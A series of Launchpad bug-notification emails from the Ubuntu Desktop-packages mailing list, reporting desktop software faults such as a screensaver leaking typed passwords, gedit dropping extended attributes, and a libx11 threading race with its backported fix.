More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944727] [NEW] Screen shot leaves HP printer in non-working state
Public bug reported: This is a weird bug and difficult to debug. However: I have Ubuntu 21.04 fully updated as of 2021-09-23. Printing something that has been captured by gnome-screenshot will print fine with my HP Color Laserjet Pro M477fdw printer. However, it will leave the printer in a state where any subsequent print will fail, regardless of document or machine. Even printing from a Macbook Air will fail. The printer reports any subsequent file to be printed as corrupt and nothing comes out. The only way to recover from this state is to power-cycle the printer. This ONLY happen with screenshots. It happens BOTH when the screenshot has been pasted into Libre Office, and when the screenshot has been saved to a .png and printed from Image Viewer. This issue does however NOT happen on my CANON Pro 100 inkjet printer. So blame the printer, yes, but I have not been able to repeat it without gnome-screenshot. It's the common factor. Before Ubuntu 21.04 the default screen capture program was different, or at least it looked different, but previously I had no problem. I have been running Ubuntu with this printer for many years. Summary: I can only print screenshots once. I expect to be able to print two screen shots in sequence without requiring to power cycle the printer in between. I can upload an example file (that only print once) if required. ** Affects: gnome-screenshot (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-screenshot in Ubuntu. https://bugs.launchpad.net/bugs/1944727 Title: Screen shot leaves HP printer in non-working state Status in gnome-screenshot package in Ubuntu: New Bug description: This is a weird bug and difficult to debug. However: I have Ubuntu 21.04 fully updated as of 2021-09-23. Printing something that has been captured by gnome-screenshot will print fine with my HP Color Laserjet Pro M477fdw printer. However, it will leave the printer in a state where any subsequent print will fail, regardless of document or machine. Even printing from a Macbook Air will fail. The printer reports any subsequent file to be printed as corrupt and nothing comes out. The only way to recover from this state is to power-cycle the printer. This ONLY happen with screenshots. It happens BOTH when the screenshot has been pasted into Libre Office, and when the screenshot has been saved to a .png and printed from Image Viewer. This issue does however NOT happen on my CANON Pro 100 inkjet printer. So blame the printer, yes, but I have not been able to repeat it without gnome-screenshot. It's the common factor. Before Ubuntu 21.04 the default screen capture program was different, or at least it looked different, but previously I had no problem. I have been running Ubuntu with this printer for many years. Summary: I can only print screenshots once. I expect to be able to print two screen shots in sequence without requiring to power cycle the printer in between. I can upload an example file (that only print once) if required. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-screenshot/+bug/1944727/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1942542] Re: gedit causes loss of extended attributes (xattrs)
** Also affects: gedit via https://gitlab.gnome.org/GNOME/gedit/-/issues/464 Importance: Unknown Status: Unknown ** Changed in: gedit (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gedit in Ubuntu. https://bugs.launchpad.net/bugs/1942542 Title: gedit causes loss of extended attributes (xattrs) Status in gedit: Unknown Status in gedit package in Ubuntu: Confirmed Bug description: Ubuntu 21.04 hirsute gedit 3.38.1-1 If a file with extended attributes (xattrs) is edited and saved with gedit, the xattrs are lost. This problem - as well as the loss of birth time, reported in https://bugs.launchpad.net/ubuntu/+source/gedit/+bug/1940758 - seems to be caused by gedit creating a new file when saving. Compare this with nano, which does not destroy xattrs. Steps to reproduce: 1 echo testing > testfile.txt 2 setfattr -n user.test -v "this is my test xattr" testfile.txt 3 getfattr -d testfile.txt # file: testfile.txt user.test="this is my test xattr" 4 gedit testfile.txt make edit and save 5 getfattr -d testfile.txt no output This bug also causes a loss of ACLs for the edited file, as they are stored as extended attributes. Because of this I am marking this bug as a security vulnerability. This bug is not limited to gedit; it applies to a number of other text editors. To manage notifications about this bug go to: https://bugs.launchpad.net/gedit/+bug/1942542/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944464] Re: gnome-screensaver locked screen leaks text to underlying windows
** Information type changed from Private Security to Public Security ** Changed in: gnome-screensaver (Ubuntu) Status: New => Triaged -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-screensaver in Ubuntu. https://bugs.launchpad.net/bugs/1944464 Title: gnome-screensaver locked screen leaks text to underlying windows Status in gnome-screensaver package in Ubuntu: Triaged Bug description: This happened after my 5y old daughter hammered the keyboard with random keys, so I literally have no idea how to reproduce it. On the lock screen, I was unable to type anything, as if I'd pressed enter but the password was still being validated. Then I hit alt-tab and saw compiz's ring switcher activate. I tried to type my password a couple of times but the screen didn't unlock. Eventually I did switch user and finally managed to log in. When I looked at the terminal, I realized what I was suspecting moments before. My password went through the lock window and ended up on the terminal (and also on Firefox in a Google search form). > gimp: GEGL-WARNING: (../gegl/buffer/gegl-tile-handler-cache.c:1076):gegl_tile_cache_destroy: runtime check failed: (g_queue_is_empty (_queue)) > eEeek! 1 GeglBuffers leaked > CABBDCDDmypassword > CABBDCDDmypassword: command not found > [1]+ Donegimp vlcsnap-2021-09-21-17h03m59s833-2.xcf I think this should definitely not happen, now the problem is understanding how it happened. This is my version of gnome- screensaver: ii gnome-screensaver 3.6.1-11ubuntu4 amd64Screensaver and screen lock formerly used in GNOME Ubuntu is 20.04 but it's not a fresh install. Please tell me how I can debug this further, looks like a fairly nasty bug. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-screensaver/+bug/1944464/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944412] Re: Nautilus keeps spawning new window when clicking on the launcher icon
@seb128 Will this make it for the Beta builds due today? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1944412 Title: Nautilus keeps spawning new window when clicking on the launcher icon Status in nautilus package in Ubuntu: Incomplete Bug description: When clicking on the launcher icon for nautilus, new instances keep being started even when I had already launched an instance before. This should only happen if I manually select the "new window" action. The past behaviour was to restore back the last window used if there are instances already running. Hovering on the launcher icon should also show running instances but this no longer works. I can get the right behaviour back if I keep fiddling with the nautilus .desktop file but the bad behavior returns again if I restart my session without changing the .desktop file again. Please look into this as it got old really fast after upgrade. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: nautilus 1:40.2-1ubuntu1 [modified: usr/share/applications/org.gnome.Nautilus.desktop] Uname: Linux 5.14.6 x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu69 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Tue Sep 21 09:42:49 2021 InstallationDate: Installed on 2016-02-19 (2040 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) SourcePackage: nautilus UpgradeStatus: Upgraded to impish on 2021-09-18 (2 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1944412/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1741074] Re: [snap] chrome-gnome-shell extension fails to detect native host connector
I want to make this a bit more clear: Every single Belgian needs this functionality in order to do basic stuff like: * File their taxes * Read communication from the government * Check their medical history * Register for a (covid) vaccine * Rent stuff from the government * etc. It is vital that this issue is fixed before phasing out the Firefox deb package. With the Chromium apt package gone, there will be no alternative in the Ubuntu repositories to do these basic things in Belgium. It’s really nice that our government is supporting Ubuntu using open- source software (https://github.com/Fedict/eid-mw) using common standards and APIs. Breaking this vital functionality looks like a big middle-finger to them. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to chromium-browser in Ubuntu. https://bugs.launchpad.net/bugs/1741074 Title: [snap] chrome-gnome-shell extension fails to detect native host connector Status in KeePassXC Snap Builds: Unknown Status in chromium-browser package in Ubuntu: Triaged Status in goopg package in Ubuntu: Confirmed Status in kdeconnect package in Ubuntu: Confirmed Bug description: (initially reported at https://forum.snapcraft.io/t/chrome-gnome- shell-does-not-work-with-chromium-snap/3377) See attached screenshot. To manage notifications about this bug go to: https://bugs.launchpad.net/keepassxc-snap/+bug/1741074/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1942951] Re: devhelp doesn't display any help pages
Yes -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to webkit2gtk in Ubuntu. https://bugs.launchpad.net/bugs/1942951 Title: devhelp doesn't display any help pages Status in webkit2gtk package in Ubuntu: Confirmed Bug description: webkit2gtk 2.33.3-1ubuntu3 Test Case - 1. sudo apt install devhelp libgtk-3-doc 2. Open devhelp and click the GTK+ 3 Reference Manual link in the left sidebar. 3. The manual should show in the main view area. What Happens The main viewing area stays blank. Other Info -- I manually installed webkit2gtk from Ubuntu 21.04 and Devhelp worked normally again. The Epiphany web browser works fine with the broken webkit2gtk version. Ubuntu's packaging diverges slightly from Debian's. The changelog mentions some dependency changes and disabling lto. I haven't done any further investigation. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/webkit2gtk/+bug/1942951/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1942951] Re: devhelp doesn't display any help pages
Testing on a daily impish now it seems to work, do you still get the issue? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to webkit2gtk in Ubuntu. https://bugs.launchpad.net/bugs/1942951 Title: devhelp doesn't display any help pages Status in webkit2gtk package in Ubuntu: Confirmed Bug description: webkit2gtk 2.33.3-1ubuntu3 Test Case - 1. sudo apt install devhelp libgtk-3-doc 2. Open devhelp and click the GTK+ 3 Reference Manual link in the left sidebar. 3. The manual should show in the main view area. What Happens The main viewing area stays blank. Other Info -- I manually installed webkit2gtk from Ubuntu 21.04 and Devhelp worked normally again. The Epiphany web browser works fine with the broken webkit2gtk version. Ubuntu's packaging diverges slightly from Debian's. The changelog mentions some dependency changes and disabling lto. I haven't done any further investigation. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/webkit2gtk/+bug/1942951/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1874178] Re: Unlocking existing session needs two attempts after selecting Switch User
** Package changed: lightdm (Ubuntu) => xfce4-screensaver (Ubuntu) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to lightdm in Ubuntu. https://bugs.launchpad.net/bugs/1874178 Title: Unlocking existing session needs two attempts after selecting Switch User Status in xfce4-screensaver package in Ubuntu: Confirmed Bug description: This has been occurring during the Xubuntu post-install test. It's not the same as Bug #1776475, as it's not necessary to have logged in as another user (or even for another user to exist) for the problem to happen. My sequence of actions is: *Create new user. *Open a program (usually Thunar or Terminal). *Lock session. *Click on "Switch User". <-- This is all that's necessary to trigger it. *Enter password to unlock my own session. *Then there's a delay and screen goes black, then the unlock prompt appears again. *The second time, my session unlocks. This particular report is from a QEMU/KVM vm, but it's also been happening on a bare-metal install. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: lightdm 1.30.0-0ubuntu3.1 ProcVersionSignature: Ubuntu 5.4.0-26.30-generic 5.4.30 Uname: Linux 5.4.0-26-generic x86_64 ApportVersion: 2.20.11-0ubuntu27 Architecture: amd64 CasperMD5CheckResult: skip Date: Wed Apr 22 15:30:29 2020 InstallationDate: Installed on 2020-04-22 (0 days ago) InstallationMedia: Xubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200421) ProcEnviron: LANGUAGE=en_NZ:en TERM=xterm-256color PATH=(custom, no user) LANG=en_NZ.UTF-8 SHELL=/bin/bash SourcePackage: lightdm UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/xfce4-screensaver/+bug/1874178/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944579] Re: ubuntu-drivers crashed with PermissionError in set_nvidia_kms(): [Errno 13] Permission denied: '/lib/modprobe.d/nvidia-kms.conf'
** Information type changed from Private to Public -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to ubuntu-drivers-common in Ubuntu. https://bugs.launchpad.net/bugs/1944579 Title: ubuntu-drivers crashed with PermissionError in set_nvidia_kms(): [Errno 13] Permission denied: '/lib/modprobe.d/nvidia-kms.conf' Status in ubuntu-drivers-common package in Ubuntu: New Bug description: Trying to install nvidea drivers, with ubuntu-drivers autoinstall since "Software & Updates" complains about not being online, happened this buh, I think. ProblemType: Crash DistroRelease: Ubuntu 21.10 Package: ubuntu-drivers-common 1:0.9.2.1 Uname: Linux 5.14.6-051406-generic x86_64 ApportVersion: 2.20.11-0ubuntu69 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: ubuntu:GNOME Date: Wed Sep 22 16:06:36 2021 ExecutablePath: /usr/bin/ubuntu-drivers InstallationDate: Installed on 2021-09-22 (0 days ago) InstallationMedia: Ubuntu 21.10 "Impish Indri" - Alpha amd64 (20210920) InterpreterPath: /usr/bin/python3.9 ProcCmdline: /usr/bin/python3 /usr/bin/ubuntu-drivers autoinstall Python3Details: /usr/bin/python3.9, Python 3.9.7, python3-minimal, 3.9.4-1 PythonArgs: ['/usr/bin/ubuntu-drivers', 'autoinstall'] PythonDetails: N/A SourcePackage: ubuntu-drivers-common Title: ubuntu-drivers crashed with PermissionError in set_nvidia_kms(): [Errno 13] Permission denied: '/lib/modprobe.d/nvidia-kms.conf' UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ubuntu-drivers-common/+bug/1944579/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1672139]
This has been a long-standing issue and I am pleased to see it is now
actively being work. Can someone suggest when this might be complete
and what version of Firefox might contain this useful change?
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to firefox in Ubuntu.
https://bugs.launchpad.net/bugs/1672139
Title:
Add "Open Enclosing Folder" context menu to search results of
bookmarks in the Library window (link to view/open containing folder,
parent folder button)
Status in Mozilla Firefox:
In Progress
Status in firefox package in Ubuntu:
Confirmed
Bug description:
Firefox is great. It has bookmarks.
But it is impossible to open bookmark's folder in search results.
Steps to reproduce:
1. Open Firefox
2. Open its Bookmark Manager ()
3. Search for bookmark
4. Try to find its folder with right-click menu.
5. It is impossible to find bookmark's folder.
Expected results:
Firefox is mature, so it is expected that user can find bookmark's folder.
For example Google Chrome has "Show in folder" menu option.
Note: original bug was reported 8 years ago, but it is not fixed.
ProblemType: Bug
DistroRelease: Ubuntu 12.04
Package: firefox 52.0+build2-0ubuntu0.12.04.1
ProcVersionSignature: Ubuntu 3.13.0-110.157~precise1-generic 3.13.11-ckt39
Uname: Linux 3.13.0-110-generic x86_64
AddonCompatCheckDisabled: False
AlsaVersion: Advanced Linux Sound Architecture Driver Version
k3.13.0-110-generic.
ApportVersion: 2.0.1-0ubuntu17.15
Architecture: amd64
ArecordDevices:
List of CAPTURE Hardware Devices
card 0: PCH [HDA Intel PCH], device 0: ALC269VB Analog [ALC269VB Analog]
Subdevices: 1/1
Subdevice #0: subdevice #0
AudioDevicesInUse:
USERPID ACCESS COMMAND
/dev/snd/controlC0: nikolay8420 F pulseaudio
BuildID: 20170303013352
Card0.Amixer.info:
Card hw:0 'PCH'/'HDA Intel PCH at 0xf7d18000 irq 46'
Mixer name : 'Intel PantherPoint HDMI'
Components : 'HDA:10ec0269,10431507,00100100
HDA:80862806,80860101,0010'
Controls : 24
Simple ctrls : 9
Channel: Unavailable
Date: Sun Mar 12 13:59:45 2017
Extensions: extensions.sqlite corrupt or missing
ForcedLayersAccel: False
IfupdownConfig:
auto lo
iface lo inet loopback
IncompatibleExtensions: Unavailable (corrupt or non-existant
compatibility.ini or extensions.sqlite)
InstallationMedia: Ubuntu 12.04.4 LTS "Precise Pangolin" - Release amd64
(20140204)
IpRoute:
default via 192.168.3.1 dev wlan3 proto static
169.254.0.0/16 dev wlan3 scope link metric 1000
192.168.3.0/24 dev wlan3 proto kernel scope link src 192.168.3.6 metric
2
192.168.122.0/24 dev virbr0 proto kernel scope link src 192.168.122.1
Locales: extensions.sqlite corrupt or missing
MarkForUpload: True
MostRecentCrashID: bp-a82bbe13-104c-487f-84dc-178712170311
Plugins: Shockwave Flash - /usr/lib/flashplugin-installer/libflashplayer.so
PrefSources:
prefs.js
[Profile]/extensions/{3d7eb24f-2740-49df-8937-200b1cc08f8a}/defaults/preferences/flashblock.js
[Profile]/extensions/swappr...@mahendra.com/defaults/preferences/prefs.js
[Profile]/extensions/{e36db930-f18d-4449-b45f-e286cfb9e03a}/defaults/preferences/markingcollection-prefs.js
[Profile]/extensions/tabletoo...@mingyi.org/defaults/preferences/tt_defaults.js
Profiles: Profile0 (Default) - LastVersion=52.0/20170303013352 (In use)
RunningIncompatibleAddons: False
SourcePackage: firefox
Themes: extensions.sqlite corrupt or missing
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 02/12/2014
dmi.bios.vendor: American Megatrends Inc.
dmi.bios.version: UX32A.216
dmi.board.asset.tag: ATN12345678901234567
dmi.board.name: UX32A
dmi.board.vendor: ASUSTeK COMPUTER INC.
dmi.board.version: 1.0
dmi.chassis.asset.tag: No Asset Tag
dmi.chassis.type: 10
dmi.chassis.vendor: ASUSTeK COMPUTER INC.
dmi.chassis.version: 1.0
dmi.modalias:
dmi:bvnAmericanMegatrendsInc.:bvrUX32A.216:bd02/12/2014:svnASUSTeKCOMPUTERINC.:pnUX32A:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX32A:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:
dmi.product.name: UX32A
dmi.product.version: 1.0
dmi.sys.vendor: ASUSTeK COMPUTER INC.
To manage notifications about this bug go to:
https://bugs.launchpad.net/firefox/+bug/1672139/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1782984] Re: Assertion `!xcb_xlib_threads_sequence_lost' failed with multiple applications
> N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days I've seen that the `verification-done-bionic` tag has been added on September 4th, which was 19 days ago. Could someone please tell when this fix will be available via `-updates` for bionic? It's a top-crash in our CI, and it would be great to see it fixed. Thanks a lot! -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to libx11 in Ubuntu. https://bugs.launchpad.net/bugs/1782984 Title: Assertion `!xcb_xlib_threads_sequence_lost' failed with multiple applications Status in libx11 package in Ubuntu: Fix Released Status in libx11 source package in Bionic: Fix Committed Status in libx11 source package in Focal: Fix Committed Status in libx11 source package in Groovy: Won't Fix Bug description: [Impact] There is a race in libx11 causing applications to randomly abort. It's not trivial to reproduce, but there are enough duplicates that this deserves an SRU to bionic & focal. [Fix] Backport a commit from upstream: From dbb55e1a5e82870466b095097d9e46046680ec25 Mon Sep 17 00:00:00 2001 From: Frediano Ziglio Date: Wed, 29 Jan 2020 09:06:54 + Subject: [PATCH] Fix poll_for_response race condition In poll_for_response is it possible that event replies are skipped and a more up to date message reply is returned. This will cause next poll_for_event call to fail aborting the program. This was proved using some slow ssh tunnel or using some program to slow down server replies (I used a combination of xtrace and strace). How the race happens: - program enters into poll_for_response; - poll_for_event is called but the server didn't still send the reply; - pending_requests is not NULL because we send a request (see call to append_pending_request in _XSend); - xcb_poll_for_reply64 is called from poll_for_response; - xcb_poll_for_reply64 will read from server, at this point server reply with an event (say sequence N) and the reply to our last request (say sequence N+1); - xcb_poll_for_reply64 returns the reply for the request we asked; - last_request_read is set to N+1 sequence in poll_for_response; - poll_for_response returns the response to the request; - poll_for_event is called (for instance from another poll_for_response); - event with sequence N is retrieved; - the N sequence is widen, however, as the "new" number computed from last_request_read is less than N the number is widened to N + 2^32 (assuming last_request_read is still contained in 32 bit); - poll_for_event enters the nested if statement as req is NULL; - we compare the widen N (which now does not fit into 32 bit) with request (which fits into 32 bit) hitting the throw_thread_fail_assert. To avoid the race condition and to avoid the sequence to go back I check again for new events after getting the response and return this last event if present saving the reply to return it later. To test the race and the fix it's helpful to add a delay (I used a "usleep(5000)") before calling xcb_poll_for_reply64. Original patch written by Frediano Ziglio, see https://gitlab.freedesktop.org/xorg/lib/libx11/-/merge_requests/34 Reworked primarily for readability by Peter Hutterer, see https://gitlab.freedesktop.org/xorg/lib/libx11/-/merge_requests/53 Signed-off-by: Peter Hutterer bionic needs another commit so that the real fix applies. [Test case] It's a race condition, the SRU sponsor (tjaalton) does not have a test case for this, but the bug subscribers seem to. [Where things could go wrong] In theory there might be a case where a race still happens, but since this has been upstream for a year now with no follow-up commits, it's safe to assume that there are no regressions. -- STEPS TO REPRODUCE == The bug seems to occur when clicking on a file or folder. It is random and difficult to provide clear steps to reproduce. It is, however, a common situation. EXPECTED RESULTS pcmanfm works without problem. ACTUAL RESULTS == All pcmanfm windows become unresponsive, though background processes (e.g. copying) may continue without problem. with the same error message in ~/.cache/lxsession/LXDE/run.log: [xcb] Unknown sequence number while processing queue [xcb] Most likely this is a multi-threaded client and XInitThreads has not been called [xcb] Aborting, sorry about that. pcmanfm: xcb_io.c:259: poll_for_event: Assertion `!xcb_xlib_threads_sequence_lost' failed. ** Message: 19:58:49.267: app.vala:130: pcmanfm exit with this type of exit: 6 ** Message: 19:58:49.268: app.vala:148: Exit not normal, try to reload (note the timestamp on the message will vary) AFFECTED VERSIONS =
